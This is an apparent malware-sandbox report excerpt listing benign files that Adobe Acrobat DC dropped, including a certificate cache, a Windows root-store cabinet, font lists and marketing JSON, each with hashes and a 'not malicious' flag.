Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklGjWttfllXlE/HT8knbNNX8RolJuRdxLlGB9lQRYwpDdt:kKfjWteT8MpNMa8RdWBwRd
MD5:	101AEEDFE29DA01802E88FE928B0AB5A
SHA1:	9689228F7744084290C68D675FA55B9761E790ED
SHA-256:	51EF9025588FACAEC029D227EBEFA5597139FA6058CC77A3D60FA87E0A89BB73
SHA-512:	E4945F19AD2F6EE58A004865C974C6E76F72A4A917A3628DF66DE9EBCB5D4B389D79A01DAFA631B16C8819EB3EBEEEC235844B65BBBFABC4235EAD964C229CAD
Malicious:	false
Preview:	p...... ........u.y).c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKFpEl/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:NpsiDImsLNkPlE99SNxAhUe/3
MD5:	E88F3F6E68024FB95B2AE930AADF9DB3
SHA1:	111B95D8DAD96C2EA8F4EF387DE9752805AFD5FF
SHA-256:	3C77CAD19BF3C4BC1574CEDF50DD26A17270275340D55D6D658D4A002D46DAF3
SHA-512:	22D697312C52D31CA9CC2A2E29EA1E051B776F98F9B4D685D8B00E78084B16559C14F2D204A8F634FC80DD01E3AFC7B8E3E896F64CED146628DCEA383306AF6D
Malicious:	false
Preview:	p...... ..........;.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2224

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2224

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3726463679569285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJM3g98kUwPeUkwRe9:YvXKXrU3veGcMJ5GMbLUkee9
MD5:	41DBFA39C0946377261CE4BEB14679F4
SHA1:	40DF61947FC8877C3EC3F63ABEBAB7612994E2C1
SHA-256:	B61FD189C94D5EC7BB00AA16CECE8541CA8444FD032C568BE906231E4722ABA7
SHA-512:	533EA8835E686C656CE43ED4E01EEE2FC326FC74A0405EA5432F97037F09304612D1B7329BD7836FB5A37A5650B8467181F389D21D7513F9E36FCD488180E4C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.323913351498901
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJfBoTfXpnrPeUkwRe9:YvXKXrU3veGcMJ5GWTfXcUkee9
MD5:	5D5E6CE8FE96D4B19FCDDAFF61FCDE92
SHA1:	439720F47AE7BCE4AA07EC9313E5E904B9249D0C
SHA-256:	3D2BA26345763C62AC0A6B990201BED377EAFE23252FE5BDCC8656FA549B4690
SHA-512:	C909A11A9E2928AB2C6738D7E331C33DD2387E72EEF8584CAEDEB2E2AA851A9BB922CF840D39F221EC88A108A954DCC62E4A4EC63AA3023D43455BEE593A1FA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.302461668024907
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJfBD2G6UpnrPeUkwRe9:YvXKXrU3veGcMJ5GR22cUkee9
MD5:	7CD692031E19D465DC8AE04EEF0CEBF6
SHA1:	EA2FC6E7DC2CF3CAB86F531551E1FF3B300B63EB
SHA-256:	CB4B3B892D3A1E1768AA572EC137B8B5745A68F2C10118AE22F34A92FA41B8B5
SHA-512:	6D0238EB6135DCCE9138AA9A68E234B878841B71F27F24D8D6FA9015D1F016070CB60BDBDAA3F7667FD8B6D3F3E9B5B03DFF96EF99D8569C6525214F58698830
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352994662274891
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJfPmwrPeUkwRe9:YvXKXrU3veGcMJ5GH56Ukee9
MD5:	4C4F4F5DF369A6A1B0D2BADCAA021354
SHA1:	C77FF4650EBEA78FF529886D8CF1A0879A46CA6E
SHA-256:	CA1D0EE03D6574D22E19B40D61DA0099D4775E17E4562860CB2991835B6963D8
SHA-512:	B01787032609ABB844F8903CA774F084A8CA7D81B731DDC6901F9F882E895E6FA370749314E4F5CC96DB56EF8BA8AE07643CDA9C21FD3AA495C45F8C74872EDE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686311216891698
Encrypted:	false
SSDEEP:	24:Yv6Xr37MspLgE9cQx8LennAvzBvkn0RCmK8czOCCSuY:YvqJhgy6SAFv5Ah8cv/uY
MD5:	29BAABA747A9BB2F75526D398DF82827
SHA1:	BD227E4E83030E7CE1F44D353EFB538E8127AA22
SHA-256:	AF3751B0E55A99938EC326768FDFEA8219905CF7FBCE7BA8DAE26033FED86D36
SHA-512:	CFF2999BA5A30F2261AE3475B7FD66A9C1D33658329B3708836BF3FC77EEDC5ECB21FA9808934B304618C4A8A513F123753F0FC349827AFE434D75E35D27BB32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301498942351969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJf8dPeUkwRe9:YvXKXrU3veGcMJ5GU8Ukee9
MD5:	ADACB019B1DE59C82AF680CF099752C6
SHA1:	13C5107983E738C7F186238DE731A55AEB097748
SHA-256:	517DEF0FE54E954C5BC8541EE0C486BF2F834068809C1E4A5539F7AF18C75292
SHA-512:	CD1A1F8F53ED40B0927D99832184F09991B53CB4523858D2000EA34840C7E8BC1393AE6715A59969211DAF03C3307A6CB6402ED57259430191B2E7222E3F00CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30382679702069
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJfQ1rPeUkwRe9:YvXKXrU3veGcMJ5GY16Ukee9
MD5:	D4E75FBA70ACC40FA98C5F5A2C2BE579
SHA1:	D6285CD33885405F2B3CF7323CD1547810631FD5
SHA-256:	7E2F7B79FB015B867B96E3D53B9F45281E847977663185416B08041DA990275C
SHA-512:	9E665832374B70A50CD49D99231FB18EF0BCAA422AA34F891AE1EF5757DEBCEE8714C8E67D64E668E81DC06457EB3FB0269F37E15FA9FD60FB28C41FB462F7AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3111475816692755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJfFldPeUkwRe9:YvXKXrU3veGcMJ5Gz8Ukee9
MD5:	E3B0E3F29130BC8CBD1C085E5513AE22
SHA1:	D7D93E36E4C2560AABC98375215D2EAB3F796C0C
SHA-256:	8DA4A297BF1C78F176C8D97C8501480A033B9817744CD31FE55C9B381DFF7868
SHA-512:	3C1A73F8EB0DB2E703F4C12379EE8592A5F4575AABC1AC8C8E5A5D679EA683F26CD031BABD1AB8FAAD14438C2A8AAD8BA2724B60372EC88640D54019224346B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.328432864372641
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrU3venGnZiQ0YM1kJKoAvJfzdPeUkwRe9:YvXKXrU3veGcMJ5Gb8Ukee9
MD5:	F5CF9423B6281BC57A7E35314F19127D
SHA1:	2A3AAA541ECD86ED840F597834D7037A55ADBEF1
SHA-256:	2D56E2B656D51BBF91C7584CA9971C94210D3C3987CECD558F76F77C55BB28F4
SHA-512:	7390E74FB915AB97984FBD6E0C858FD3F223E00EB87E748E16F43CD620073D7ED970A254D55754924FF656829C875533DCE84F217A2A7BEE41DCED221D4AABF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c54ebf3b-fdd9-4432-a496-1df7624c43e1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735288890,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308971077863541
Encrypted:	false
